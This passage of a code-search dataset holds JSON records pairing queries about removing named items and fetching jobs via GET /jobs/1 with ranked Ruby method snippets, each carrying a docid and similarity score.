"text": "def remove_queue(name)\n @queues.delete(ReMQ.normalize_queue_name(name))\n end",
"title": ""
},
{
"docid": "60e61822f80ed821cecb536111a73c16",
"score": "0.61425686",
"text": "def remove(name)\n set(name, nil)\n end",
"title": ""
},
{
"docid": "0167d72366ecd939ae6e2eec8affa028",
"score": "0.6131252",
"text": "def remove_dispatcher(name)\n\t\tself.dispatcher_stack.delete_if { |inst|\n\t\t\t(inst.name == name)\n\t\t}\n\tend",
"title": ""
},
{
"docid": "fdab486546b5c1c5cec79870e6fb657b",
"score": "0.6119871",
"text": "def remove_resource(name)\n\t\tservice.remove_resource(name)\n\tend",
"title": ""
},
{
"docid": "fdab486546b5c1c5cec79870e6fb657b",
"score": "0.6119871",
"text": "def remove_resource(name)\n\t\tservice.remove_resource(name)\n\tend",
"title": ""
},
{
"docid": "228eb9f3d4d634ffb4d6b1e207071452",
"score": "0.6098661",
"text": "def remove(name = \"default\")\n TorqueBox::ServiceRegistry.lookup(schedulizer_service_name) do |schedulizer|\n schedulizer.remove_job (name)\n end\n end",
"title": ""
},
{
"docid": "4c5838f645fb2ece8cbe4aa68bb498c6",
"score": "0.6093168",
"text": "def remove_preplay_hook(name)\n @preplay_hooks_ordered_names.delete(name)\n @preplay_hooks.delete(name)\n self\n end",
"title": ""
},
{
"docid": "217f0e736825477f06e88c9eac86cf76",
"score": "0.6015284",
"text": "def remove(name)\n name = File.basename(name)\n path = File.join(Config::TEMPLATES_DIR,name)\n\n unless File.exists?(path)\n say \"Unknown template: #{name}\", :red\n exit -1\n end\n\n FileUtils.rm_rf(path)\n end",
"title": ""
},
{
"docid": "fce5a902695e0aebbadf772132dcf530",
"score": "0.60106874",
"text": "def remove_dispatcher(name)\n self.dispatcher_stack.delete_if { |inst|\n (inst.name == name)\n }\n end",
"title": ""
},
{
"docid": "8cf5d6179a51af402efd3cd485deef52",
"score": "0.5993819",
"text": "def remove_sound(name)\n if MSPhysics.sdl_used?\n music = MSPhysics::Music.get_by_name(name)\n MSPhysics::Music.destroy(music) if music\n end\n dict1 = Sketchup.active_model.attribute_dictionary('MSPhysics Sounds', false)\n dict1.delete_key(name.to_s) if dict1\n dict2 = Sketchup.active_model.attribute_dictionary('MSPhysics Sound Types', false)\n dict2.delete_key(name.to_s) if dict2\n end",
"title": ""
},
{
"docid": "8cf5d6179a51af402efd3cd485deef52",
"score": "0.5993819",
"text": "def remove_sound(name)\n if MSPhysics.sdl_used?\n music = MSPhysics::Music.get_by_name(name)\n MSPhysics::Music.destroy(music) if music\n end\n dict1 = Sketchup.active_model.attribute_dictionary('MSPhysics Sounds', false)\n dict1.delete_key(name.to_s) if dict1\n dict2 = Sketchup.active_model.attribute_dictionary('MSPhysics Sound Types', false)\n dict2.delete_key(name.to_s) if dict2\n end",
"title": ""
},
{
"docid": "42ab3eccce91ae7fce5e9ee61d0d75f4",
"score": "0.598916",
"text": "def remove_object(name)\n @objects.delete Fog::Rackspace.escape(name)\n end",
"title": ""
},
{
"docid": "02e84efa3cc0b2595540693c7afde640",
"score": "0.5963668",
"text": "def remove_postplay_hook(name)\n @postplay_hooks_ordered_names.delete(name)\n @postplay_hooks.delete(name)\n self\n end",
"title": ""
},
{
"docid": "81a805c35144369ca63de108af7f2666",
"score": "0.59501034",
"text": "def prepend_sprocket(name, options = {}, &block)\n create_sprocket(name, options, &block).tap do |sprocket|\n sprockets.unshift(sprocket).uniq!\n end\n end",
"title": ""
},
{
"docid": "76939bb81e90c8df39fa683a540203e6",
"score": "0.59302586",
"text": "def remove_tag(name)\n uri = tag_uri(name)\n delete_request(uri)\n end",
"title": ""
},
{
"docid": "b0ad7612305a99efdc6b08b3789e28f5",
"score": "0.5903511",
"text": "def remove(name)\n file = @files[name] || return\n remove_feature(name) if $LOADED_FEATURES.include?(name)\n file[:features].each{|feature| remove_feature(feature)}\n remove_constants(name){file[:constants]}\n @files.delete(name)\n end",
"title": ""
},
{
"docid": "a29872a36db980246d61b430f484334c",
"score": "0.5862711",
"text": "def remove(name)\n @_store.delete(name.to_sym)\n end",
"title": ""
},
{
"docid": "d4a876de1ce81218775ccd78697c1f51",
"score": "0.5845103",
"text": "def remove(name)\n @j_map.remove(name)\n self\n end",
"title": ""
},
{
"docid": "1cf81e41e0f290e43094591f2e39ad5c",
"score": "0.58401227",
"text": "def remove\n name = shift_argument || error(\"Must specify a buildpack name\")\n action(\"Removing #{name} from your kit\") do\n begin\n server[\"/user/buildpacks/#{name}\"].delete\n rescue RestClient::ResourceNotFound\n error \"The #{name} buildpack is not in your kit\"\n end\n end\n end",
"title": ""
},
{
"docid": "4bc3a7ead1dffd7382edd834b54abfac",
"score": "0.57902724",
"text": "def remove_spot(spot_name)\n execute_cmd(\"nim -Fo remove #{spot_name}\")\n end",
"title": ""
},
{
"docid": "aef90a29ea9b75e329a37a640fe3e2e4",
"score": "0.57829565",
"text": "def remove_namespace(queue_name)\n queue_name.gsub(/^#{Smith.config.smith.namespace}\\./, '')\n end",
"title": ""
},
{
"docid": "7cc4125ed45d709db7ca9e2a9484b44c",
"score": "0.5752288",
"text": "def remove_package (name)\n\t\t\tsoftware_command \"remove_package\",:name => name\n\t\tend",
"title": ""
},
{
"docid": "69208c5052c2e8a0ea1bb7fce8ce4e9f",
"score": "0.5745225",
"text": "def remove_binding(name:)\n {\n method: \"Runtime.removeBinding\",\n params: { name: name }.compact\n }\n end",
"title": ""
},
{
"docid": "20cf73ff5cbebc770e54a1620e58fbe1",
"score": "0.57203555",
"text": "def remove(name)\n raise \"No job name provided\" if name.nil?\n raise \"Couldn't find a job with name '#{name}''\" if TorqueBox::ScheduledJob.lookup(name).nil?\n\n with_schedulizer do |schedulizer|\n schedulizer.remove_job(name)\n end\n end",
"title": ""
},
{
"docid": "32b483554c88c99b89aa834aeb27b82f",
"score": "0.5713154",
"text": "def remove(name)\n Monitor.new(name).remove\n end",
"title": ""
},
{
"docid": "112f29631a92e6882678187a47c7e61a",
"score": "0.5670579",
"text": "def remove_command(name)\n @embedded_commands.delete(name.to_sym)\n end",
"title": ""
},
{
"docid": "ddca7c0d431cddda2aa166c478c9eed7",
"score": "0.5666891",
"text": "def remove_by_name(name)\n entry = @entries.find {|e| e.name == name}\n if !entry.nil?\n @entries.delete(entry)\n end\n end",
"title": ""
},
{
"docid": "bfd8d127b27e98949109716c1a4a3643",
"score": "0.5664361",
"text": "def remove_local_podspec(name)\n local_podspec = specification_path(name)\n FileUtils.rm(local_podspec) if local_podspec\n end",
"title": ""
},
{
"docid": "5a2168e57962053cfdb9b20072a14a1c",
"score": "0.5622993",
"text": "def remove_spec(full_name)\n @gems.delete full_name\n end",
"title": ""
},
{
"docid": "ac639b48f8fc697c2dcc2bb5be06af4c",
"score": "0.5613998",
"text": "def remove_pet_by_name(pet_shop, call)\n pet_to_delete = find_pet_by_name(pet_shop, call)\n pet_shop[:pets].delete(pet_to_delete)\n end",
"title": ""
},
{
"docid": "155643a1358fcf0ed1f1f086bc51ce90",
"score": "0.5609476",
"text": "def append_sprocket(name, options = {}, &block)\n create_sprocket(name, options, &block).tap do |sprocket|\n sprockets.push(sprocket).uniq!\n end\n end",
"title": ""
},
{
"docid": "50b58dfe2b42c46cd7ff3ef933163b69",
"score": "0.5607699",
"text": "def remove(name)\n @storage.delete(name)\n end",
"title": ""
},
{
"docid": "eae2adb2dccf818d27505f88718f540c",
"score": "0.55965096",
"text": "def remove_spec(full_name)\n @gems.delete full_name\n end",
"title": ""
},
{
"docid": "54e66e1a8a751c3138bc799fcb24c30f",
"score": "0.5588814",
"text": "def remove(name)\n @dependencies.reject! { |d| d.name == name }\nend",
"title": ""
},
{
"docid": "f4853b590d7144d384e277bc605beea9",
"score": "0.55840033",
"text": "def uninstall(name)\n if name.blank?\n flash[:error] = \"Name cannot be blank\"\n return\n end\n @assessment.destroy\n f = Rails.root.join(\"assessmentConfig\", \"#{@course.name}-#{name}.rb\")\n File.delete(f)\n end",
"title": ""
},
{
"docid": "0a793fcf694478cb9dc013f38d3caea7",
"score": "0.5576593",
"text": "def remove_product(name)\n raise ArgumentError, \"Product is not found in this order.\" if !products.key?(name)\n products.delete(name)\n end",
"title": ""
},
{
"docid": "2a05f03135f2ad256c373382f72855e2",
"score": "0.5573763",
"text": "def remove_sync(name)\n latch = remove(name)\n wait_for_latch(latch)\n end",
"title": ""
},
{
"docid": "a5208227ff03eddb46d62c9a40113675",
"score": "0.5570039",
"text": "def purge_bundle(name)\n cached_bundles.delete(name.to_s)\n end",
"title": ""
},
{
"docid": "dfd336656b7d2879f1f2793ec0dfe979",
"score": "0.5569099",
"text": "def remove(*names)\n extract_and_apply_options!(names)\n if tag_type.scored\n delete_if { |name| names.include?(name.sub(Taglish::Taggable::SCORED_TAG_REGEX, '\\1')) }\n else\n delete_if { |name| names.include?(name) }\n end\n self\n end",
"title": ""
},
{
"docid": "ce4e17204ebb6c60feec590f551c27c5",
"score": "0.55527955",
"text": "def remove(name)\n @client.execute_udf(@key, @PACKAGE_NAME, 'remove', [@bin_name, name, @user_module], @policy)\n end",
"title": ""
},
{
"docid": "89e8667c46507b029674db53e93b67c1",
"score": "0.55487347",
"text": "def remove! name\n # See set_type! for an explanation. Image#remove can't throw an\n # exception, so there's no need to ensure we unref.\n ::GObject.g_object_unref ptr\n Vips.vips_image_remove self, name\n ::GObject.g_object_ref ptr\n end",
"title": ""
},
{
"docid": "45a299e9befec7e01751a20afa998be7",
"score": "0.5547461",
"text": "def remove_config_type(name)\n unless config_type_registry.has_key?(name)\n raise NameError.new(\"#{name.inspect} is not a config_type on #{self}\")\n end\n \n config_type = config_type_registry.delete(name)\n reset_config_types\n config_type\n end",
"title": ""
},
{
"docid": "1928fee61f67e144113dbf9191c6ceda",
"score": "0.55187047",
"text": "def remove_product(name)\n unless @products.include?(name)\n raise ArgumentError, \"Product not in this order\"\n end\n @products.delete(name)\n end",
"title": ""
},
{
"docid": "1fc38dc6df890f9b1dff2ea40fe5ae6e",
"score": "0.5512744",
"text": "def remove_skill(skill_name)\n\t\tself.skill(skill_name).destroy if self.skill(skill_name)\n\tend",
"title": ""
},
{
"docid": "e687ee364caf3bea7b2084de0f0af4d7",
"score": "0.5507479",
"text": "def remove_existing_lwrp(class_name)\n [Chef::Resource, Chef::Provider].each do |resource_holder|\n if resource_holder.const_defined? class_name\n resource_holder.send(:remove_const, class_name)\n end\n end\n end",
"title": ""
},
{
"docid": "e687ee364caf3bea7b2084de0f0af4d7",
"score": "0.5507479",
"text": "def remove_existing_lwrp(class_name)\n [Chef::Resource, Chef::Provider].each do |resource_holder|\n if resource_holder.const_defined? class_name\n resource_holder.send(:remove_const, class_name)\n end\n end\n end",
"title": ""
},
{
"docid": "41f17194f0829e249a58de026046bc12",
"score": "0.5505513",
"text": "def remove_filter(name)\n defined.delete name.to_s.downcase\n if constants.map(&:to_s).include?(name.to_s)\n remove_const name.to_sym\n end\n end",
"title": ""
},
{
"docid": "dde525e7b61bfab2e94a973f51dfe444",
"score": "0.5505399",
"text": "def drop(name)\n _mutate { @layers.delete_if { |layer| layer.name == name.to_s } }\n end",
"title": ""
},
{
"docid": "5b510bdbb087db438ef980eceed5d54a",
"score": "0.549718",
"text": "def remove_schedule(name)\n redis.hdel(:schedules, name)\n redis.sadd(:schedules_changed, name)\n end",
"title": ""
},
{
"docid": "afec96cf8636c0b8fc2cb33172436393",
"score": "0.5485597",
"text": "def remove_connection(name)\n pool = retrieve_connection_pool(name)\n return nil unless pool\n\n @pools.delete_if { |key, value| value == pool }\n pool.disconnect!\n end",
"title": ""
},
{
"docid": "ae6a80b80fe8e5de1f918cf31b658247",
"score": "0.54805505",
"text": "def remove_product (name)\n if @products[name] == nil\n raise ArgumentError.new(\"This product cannot be found.\")\n else\n @products.delete(name)\n end\n end",
"title": ""
},
{
"docid": "eead08ee04eb220b6a271731d020507e",
"score": "0.54796344",
"text": "def remove_pet_by_name(shops, searched_name)\n pet = find_pet_by_name(shops, searched_name)\n shops[:pets].delete(pet)\n end",
"title": ""
},
{
"docid": "4fcf1833fc5b7d6f10c1f5fd38ff7543",
"score": "0.54779154",
"text": "def remove_tag(name)\n response = @connection.delete(tag_uri(name))\n successful?(response)\n end",
"title": ""
},
{
"docid": "bca0c3633531bcd5bfa93b525588589d",
"score": "0.54753166",
"text": "def remove_student(name)\n\t\t\t@students.delete(:name => name)\n\t\tend",
"title": ""
},
{
"docid": "005df1595c40f7495a218ca5910eda26",
"score": "0.5473121",
"text": "def remove\n system(\"qconf -dprj #{name}\")\n end",
"title": ""
},
{
"docid": "7a5aceef7e353d9d35bc3f349ef92094",
"score": "0.54714876",
"text": "def remove_entry(name)\n unless existing_entry?(name)\n raise Inspec::Plugin::V2::ConfigError, \"No such entry with plugin name '#{name}'\"\n end\n\n @data[:plugins].delete_if { |entry| entry[:name] == name.to_sym }\n end",
"title": ""
},
{
"docid": "b28d78b262d68907cea017c2078d9270",
"score": "0.545609",
"text": "def removeKitten(name, type)\n @kittencfg_semaphore.synchronize {\n shortclass, cfg_name, cfg_plural, classname = MU::Cloud.getResourceNames(type)\n deletia = nil\n if @kittens[cfg_plural]\n @kittens[cfg_plural].each { |kitten|\n if kitten['name'] == name\n deletia = kitten\n break\n end\n }\n @kittens[type].delete(deletia) if !deletia.nil?\n end\n }\n end",
"title": ""
},
{
"docid": "07efd2ce5af97d236bd9d3d54f76b6d8",
"score": "0.5449553",
"text": "def remove_pattern (name)\n\t\t\tsoftware_command \"remove_pattern\",:name => name\n\t\tend",
"title": ""
},
{
"docid": "8aacd24535c4913fc85e3f5af37ee1a0",
"score": "0.54478556",
"text": "def remove_pet_by_name(shop, name_to_remove)\n pet_to_remove = find_pet_by_name(shop, name_to_remove)\n shop[:pets].delete(pet_to_remove)\nend",
"title": ""
},
{
"docid": "8da0e004fdad2a27c946272dd8d1cc2a",
"score": "0.54430443",
"text": "def removeNamedItem(name)\n ret = @nodes[name]\n @nodes.delete(name)\n ret\n end",
"title": ""
},
{
"docid": "23797b9feaa24404fddedf94af7cd185",
"score": "0.5437428",
"text": "def remove(name)\n\t\t@people.delete_if { |person| person.name == name }\n\tend",
"title": ""
},
{
"docid": "344d1c08e46e54f00deeca239844d09a",
"score": "0.5437358",
"text": "def removeNamedItem(name)\n ret = @nodes[name]\n @nodes[name] = nil\n ret\n end",
"title": ""
},
{
"docid": "ffff9197777bd47f210d10c1edb1c6ee",
"score": "0.5437128",
"text": "def remove_pet_by_name(shop, name)\n pet = find_pet_by_name(shop, name)\n shop[:pets].delete(pet)\nend",
"title": ""
},
{
"docid": "c0816b9cb6a8a0d3e261a8834c0ca8ac",
"score": "0.5423982",
"text": "def delete(name)\n unless @patterns[name].nil?\n File.delete(make_filename(name))\n @patterns.delete(name)\n end\n end",
"title": ""
},
{
"docid": "998c8f1d4d412eb13cb41b306d2a57d7",
"score": "0.5423551",
"text": "def remove_bar(bar_name)\n $game_system.remove_active_bar(bar_name)\n end",
"title": ""
},
{
"docid": "dfe4a2084c2ac31f1285050ecbceef4b",
"score": "0.54215294",
"text": "def delete(name)\n @parts.delete(name)\n self\n end",
"title": ""
},
{
"docid": "131e925c7fb207cb2813b179b679072c",
"score": "0.5418097",
"text": "def unset(name)\n @objects.delete(name)\n end",
"title": ""
},
{
"docid": "23cfacca997de08bdb79b95123a5833c",
"score": "0.54117596",
"text": "def delete(name)\n registry.delete name\n self\n end",
"title": ""
},
{
"docid": "3dd34a24c583c25a9e07aca2a96cd05c",
"score": "0.54061174",
"text": "def remove_product(product_name)\n raise ArgumentError, \"Product does not exist in order\" unless @products.keys.include?(product_name)\n \n @products.delete(product_name)\n end",
"title": ""
},
{
"docid": "a90d3aa0dda717eb27c107ad77d6771e",
"score": "0.54053706",
"text": "def remove_connection(connection_name)\n desired_connection = nil\n return desired_connection unless self['connections']\n self['connections'].each do |con|\n desired_connection = self['connections'].delete(con) if con['name'] == connection_name\n end\n desired_connection\n end",
"title": ""
},
{
"docid": "a90d3aa0dda717eb27c107ad77d6771e",
"score": "0.54053706",
"text": "def remove_connection(connection_name)\n desired_connection = nil\n return desired_connection unless self['connections']\n self['connections'].each do |con|\n desired_connection = self['connections'].delete(con) if con['name'] == connection_name\n end\n desired_connection\n end",
"title": ""
},
{
"docid": "7a4c191a44ab7e6634023bfda622985a",
"score": "0.53954566",
"text": "def remove_product(name)\n if @products.has_key?(name)\n @products.delete(name)\n else\n raise ArgumentError, \"Item does not exist\"\n end\n return @products\n end",
"title": ""
},
{
"docid": "f0758667c4a1c67a40d22a2025a67cf5",
"score": "0.5392174",
"text": "def remove_product(product_name)\n if @products.include?(product_name)\n @products.delete(product_name)\n else\n raise ArgumentError, \"There is no product with that name.\"\n end\n end",
"title": ""
},
{
"docid": "5e34f28a9c1d79577a2249cae97e7adf",
"score": "0.53725225",
"text": "def remove_task(name)\n raise \"Unregistered task #{name.inspect}\" unless @named_tasks.include?(name)\n\n unschedule_task(name)\n end",
"title": ""
},
{
"docid": "42c289f91f774dc5cbad34a9cf237976",
"score": "0.53715104",
"text": "def unregister(name)\n registered = @@registered.receive\n begin\n registered.delete(name)\n ensure\n @@registered << registered\n end\n end",
"title": ""
},
{
"docid": "81854254aa1a13b303a970c87dcd0fb4",
"score": "0.536973",
"text": "def remove_from_cart(name)\n @items.each do |item|\n if name == item.get_name\n @items.delete(item)\n end\n end\n end",
"title": ""
},
{
"docid": "331d5db795eb247d7b4fdcdaa7856a88",
"score": "0.5364581",
"text": "def remove_product(product_name)\n raise ArgumentError, \"#{product_name} not found in order.\" unless @products.include?(product_name)\n\n @products.delete(product_name)\n end",
"title": ""
},
{
"docid": "ed4e72c73d31f864cfa6341931ea7305",
"score": "0.53640074",
"text": "def remove_genbar(bar_name)\n @spriteset.remove_gen_bar(bar_name)\n end",
"title": ""
},
{
"docid": "8e72fd8d58c715a973ab39a88a1203fb",
"score": "0.53597194",
"text": "def remove!\n name = \"GIMP #{version}\"\n execute 'remove GIMP' do\n command 'start \"\" /wait ' \\\n \"#{installed_packages[name][:uninstall_string]} /SILENT\"\n action :run\n only_if { installed_packages.include?(name) }\n end\n end",
"title": ""
},
{
"docid": "7db1304da47c1a9a411039146c06efa6",
"score": "0.53542745",
"text": "def destroy\n chef_server_rest.delete_rest(\"packs/#{@name}\")\n end",
"title": ""
},
{
"docid": "6dd9b7f6ae520aaf8998ad626cfcebdd",
"score": "0.53459626",
"text": "def remove\n system(\"qconf -dul #{name}\")\n end",
"title": ""
},
{
"docid": "2fa9c57c7ff615e3613e4582a46f49bc",
"score": "0.5342632",
"text": "def remove_method(obj_name, name)\n Object.const_get(obj_name).send(:remove_method, name)\n end",
"title": ""
},
{
"docid": "6e61dc5aa884eea59f36ae1c8df4b198",
"score": "0.5327546",
"text": "def remove_prefix(name)\n if !name.nil?\n name.gsub(/\\A#{processor_options[:prefix]}\\./, '')\n else\n name\n end\n end",
"title": ""
},
{
"docid": "1eea1b830456f4f7a0cafa5a6b1361ed",
"score": "0.53255385",
"text": "def remove_queue name\n # Let the default implementation remove the queue\n original_return_value = original_remove_queue(name)\n # And now remove the metadata for this queue\n redis.del Resque::Queue::Metadata.metadata_key(name)\n return original_return_value\n end",
"title": ""
},
{
"docid": "f674a12be40f61254a258f6c24c6b24c",
"score": "0.5317116",
"text": "def remove(ext_name)\n registry_set.delete_if {|ext| ext.name == ext_name.to_s }\n end",
"title": ""
},
{
"docid": "d1414b9ba1445986041ba373342ce9b5",
"score": "0.5314162",
"text": "def remove_reserved_slot(name)\n packet = send_request(\"reservedSlotsList.remove\", name)\n send_request(\"reservedSlotsList.save\")\n\n packet.read_word\n end",
"title": ""
},
{
"docid": "f269496b555d851bde634c15e3cacf2d",
"score": "0.5313591",
"text": "def unlink(name)\n Java::EdLangRuby::GridFS.remove(connection, name)\n end",
"title": ""
},
{
"docid": "e5d851889dc7d2311f5af0242eb3e1ca",
"score": "0.5312189",
"text": "def remove name\n @data.delete(name)\n end",
"title": ""
},
{
"docid": "8e6425aa558461695cc6e4b75b3bf625",
"score": "0.53110164",
"text": "def deregister(name)\n name = if name.respond_to? :name\n name.name\n else\n name\n end\n verify_same_namespace(name)\n CORBA.refine_exceptions(\"corba naming service #{ip}\") do\n do_unbind(basename(name))\n end\n end",
"title": ""
},
{
"docid": "b9cf7dba7e288b4cc6f9734a3a4a02ca",
"score": "0.5307803",
"text": "def remove_pet_by_name(pet_shop, name)\n\tfor pet in pet_shop[:pets]\n if pet[:name] == name\n\t\tpet_shop[:pets].delete(pet)\n\n end\n end\nend",
"title": ""
},
{
"docid": "d9f496af26a899500aaa270fbc864c02",
"score": "0.5306503",
"text": "def delete_tag(name)\n run('tag','--remove',name)\n end",
"title": ""
},
{
"docid": "fefcdc35ee27c044ca70bfe2b5dc2b7d",
"score": "0.53033435",
"text": "def remove_callback(name)\n unless(@callbacks.include?(callback_name(name)))\n abort NameError.new(\"Failed to locate callback named: #{name}\")\n end\n actors[callback_name(name)].terminate\n @callbacks.delete(name)\n self\n end",
"title": ""
},
{
"docid": "e0f9fe68b2704db1ee238d9a297cde31",
"score": "0.5302333",
"text": "def destroy(name); end",
"title": ""
},
{
"docid": "3e9c26a7da4d0891437c154b7a7c5572",
"score": "0.5301614",
"text": "def remove_pet_by_name(pet_shop, name)\n index = get_index_from_name(pet_shop, name)\n if index.is_a? Integer\n pet_shop[:pets].delete_at(index)\n else\n return nil\n end\nend",
"title": ""
},
{
"docid": "9257b9b51f94a8355fb0e18efb7400d2",
"score": "0.5300548",
"text": "def delete(name)\n FileUtils.rm(path(name)) if exist?(name)\n end",
"title": ""
},
{
"docid": "a8b5ee182616593efb560f8ff80bdbd1",
"score": "0.5290825",
"text": "def remove_existing_lwrp(class_name)\n [self, superclass].each do |resource_holder|\n look_in_parents = false\n if resource_holder.const_defined?(class_name, look_in_parents)\n old_class = resource_holder.send(:remove_const, class_name)\n\n if resource_holder.respond_to?(:resource_classes)\n resource_holder.resource_classes.delete(old_class)\n end\n end\n end\n end",
"title": ""
}
] |
daa0d58cc06d8438751280ee0f0aa164
|
GET /jobs/1 GET /jobs/1.json
|
[
{
"docid": "7c9840981db75e60dc404987704cb40f",
"score": "0.7226418",
"text": "def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
}
] |
[
{
"docid": "c8f7cc0b14cc4ca0decc14ca86f69f5d",
"score": "0.7810516",
"text": "def get_job(id)\n get(\"1/jobs/#{id}\")\n end",
"title": ""
},
{
"docid": "e0d30cb0880ae58f5dd30199afee732c",
"score": "0.7669835",
"text": "def get_jobs()\n u = self.build_uri(\"/jobs\")\n response = @client.get(u, nil, ACCEPT_RDF)\n return response\n end",
"title": ""
},
{
"docid": "8a0695bb744593e3a36970adb8e0a14d",
"score": "0.7547834",
"text": "def index\n @jobs = Job.all\n json_response(@jobs)\n end",
"title": ""
},
{
"docid": "b9f48eee6410f0b35d51845d2d66497d",
"score": "0.74709016",
"text": "def index\n @jobs = Job.all\n \n respond_to do |format|\n format.html\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "ab6fe306c494f0ea1f7e2f3f860c54a0",
"score": "0.7466362",
"text": "def job(project_id, job_id)\n get(\"/projects/#{url_encode project_id}/jobs/#{job_id}\")\n end",
"title": ""
},
{
"docid": "1984a83284cfad6e44e6e9e55bad49ab",
"score": "0.74630123",
"text": "def show\n @jobs = Job.all\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "3bc2606635c5a859f5986f0894dbceca",
"score": "0.74436635",
"text": "def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"title": ""
},
{
"docid": "96313eca1273d1bd646f80aba4b98373",
"score": "0.73761743",
"text": "def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "96313eca1273d1bd646f80aba4b98373",
"score": "0.73761743",
"text": "def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "96313eca1273d1bd646f80aba4b98373",
"score": "0.73761743",
"text": "def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "fa6b3a844032b353d03a7224964c8383",
"score": "0.7338839",
"text": "def getMyJobList\n request \"/Job/getMyJobList.json\"\n end",
"title": ""
},
{
"docid": "96be1189f9a15b50a5a401e0aeeb94ed",
"score": "0.7322639",
"text": "def jobs\n response = request(\"?depth=1\")\n # get the JSON key from the tree by removing the branch\n response = JSON.parse(response.body)[\"jobs\"]\n\n response\n end",
"title": ""
},
{
"docid": "8a1762e1271eb4ff235b7094fab882b3",
"score": "0.72624",
"text": "def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @jobs }\n end\n end",
"title": ""
},
{
"docid": "b182a686cea5e2d1105a016e80680e04",
"score": "0.722841",
"text": "def jobs\n Qubole.get(\"/commands/#{id}/jobs\")\n end",
"title": ""
},
{
"docid": "5a16a2931f76522176d3b06c77016036",
"score": "0.72127956",
"text": "def show\n @job = Job.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "5a16a2931f76522176d3b06c77016036",
"score": "0.72120965",
"text": "def show\n @job = Job.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "0a9f829978b1516db05342969b610ac4",
"score": "0.7197717",
"text": "def show\n job = Job.find(params[:id])\n render json: {status: 'SUCCESS', message: 'Loaded job', data:job},status: :ok\n end",
"title": ""
},
{
"docid": "914e09060945edca035a0cc83276f8cc",
"score": "0.7156203",
"text": "def show\n set_job!\n render json: @job\n end",
"title": ""
},
{
"docid": "2f916a40ce3ed8cbdc37181402f45fcf",
"score": "0.714396",
"text": "def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @job }\n end\n end",
"title": ""
},
{
"docid": "2f916a40ce3ed8cbdc37181402f45fcf",
"score": "0.714396",
"text": "def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @job }\n end\n end",
"title": ""
},
{
"docid": "2f916a40ce3ed8cbdc37181402f45fcf",
"score": "0.714396",
"text": "def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @job }\n end\n end",
"title": ""
},
{
"docid": "485ff0b1b462ae25cb15fa6ea5a93049",
"score": "0.71347296",
"text": "def getAllJobs\n render json: Job.all\n end",
"title": ""
},
{
"docid": "928de3c913183b100595adbc7a914012",
"score": "0.71242595",
"text": "def show\n id = params[:id]\n @jobs = Job.find(id)\n end",
"title": ""
},
{
"docid": "2d3eaba8dfcae0d69414c893ac53fd47",
"score": "0.7112295",
"text": "def index\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @jobs }\r\n end\r\n end",
"title": ""
},
{
"docid": "a85af6d5c49a2d0d9734133ea9b5297d",
"score": "0.7103394",
"text": "def show\n render json: @job\n end",
"title": ""
},
{
"docid": "20727e03607f4a808a41b82db525c957",
"score": "0.70838606",
"text": "def index\n @jobs = Job.all\n render json: @jobs, each_serializer: JobEachSerializer\n end",
"title": ""
},
{
"docid": "bb641c16c1c2cbe1c6fcb38611d9d48a",
"score": "0.70813084",
"text": "def get_job\n job = Job.find(params[\"id\"])\n category = job.category.name\n company = job.company.name\n description = job.description\n location = job.location.city\n duration = job.duration\n id = job.id\n user_id = job.company.user_id\n c_id = job.category_id\n l_id = job.location_id\n render json: { category: category, company: company, description: description, location: location, duration: duration, id: id, company_user_id: user_id, logo: \"#{Rails.root}/\" + job.company.logo.to_s, l_id: l_id, c_id: c_id} \n end",
"title": ""
},
{
"docid": "fbeeee52d323ab89a6d3038b718b364b",
"score": "0.70755726",
"text": "def job_list\n options = {\"username\" => @username, \"password\" => @password}\n response = rest_call(\"#{@url}/api/json\", \"get\", options)\n return \"ERROR\" if response[\"status\"] == \"ERROR\"\n response[\"data\"]\n end",
"title": ""
},
{
"docid": "f97aa681cab4cad348469d56b9b9f30d",
"score": "0.70601743",
"text": "def show\n json_response(@job)\n end",
"title": ""
},
{
"docid": "a8ce12bce12168cc1b8ce9c42ecf7057",
"score": "0.705536",
"text": "def show\n @job =Job.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "82ff96e82c87c97ae1687cf9156826b6",
"score": "0.70213103",
"text": "def get_job_data\n url = 'https://jobs.github.com/positions.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n\n return JSON.parse(response) # returns array of job hashes\nend",
"title": ""
},
{
"docid": "f0fb0ad60f0de3e42fb33d88d776da14",
"score": "0.7013198",
"text": "def show\n @job = Job.find(params[:id])\n @jobs = Job.where(\"job_id = #{@job.id}\").paginate(:page =>params[:page]).per_page(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "16676f6689a91824e858235545463449",
"score": "0.7009868",
"text": "def show\n respond_to do |format|\n format.html\n format.json {render json: @job}\n end\n end",
"title": ""
},
{
"docid": "8b36f185d654d0e25ba1eb398b66a29e",
"score": "0.70030075",
"text": "def list_all_with_details\n response_json = @client.api_get_request(\"\")\n response_json[\"jobs\"]\n end",
"title": ""
},
{
"docid": "4417739f4505c3e967516e53d9be48a4",
"score": "0.6993611",
